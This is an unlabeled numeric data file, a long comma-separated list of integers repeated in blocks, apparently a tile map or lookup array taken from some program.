8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8121, 8129, 8137, 8137, 8137, 8137, 8137, 8137, 8137, 8137, 8137, 8137, 8137, 8137, 8137, 8137, 8145, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 67496, 67496, 67496, 21, 21, 21, 21, 21, 21, 21, 21, 21, 17, 34, 30, 30, 33, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 38, 6, 3, 12, 9, 10, 12, 3, 0, 2, 12, 9, 8, 16, 8, 7, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 8, 8, 12, 12, 12, 6, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 0, 9, 2, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 0, 17, 1, 12, 21, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 21, 21, 21, 21, 21, 35, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 4, 0, 10, 9, 9, 9, 12, 29, 29, 12, 29, 3, 12, 17, 12, 12, 10, 9, 29, 29, 18, 12, 29, 29, 29, 29, 29, 3, 29, 29, 29, 0, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 29, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 29, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 29, 18, 29, 29, 29, 18, 29, 12, 12, 29, 12, 12, 12, 12, 12, 12, 12, 29, 29, 29, 29, 12, 29, 12, 18, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 4, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 4, 4, 4, 4, 4, 4, 4, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 8, 39, 39, 39, 39, 39, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 21, 21, 21, 21, 21, 21, 21, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 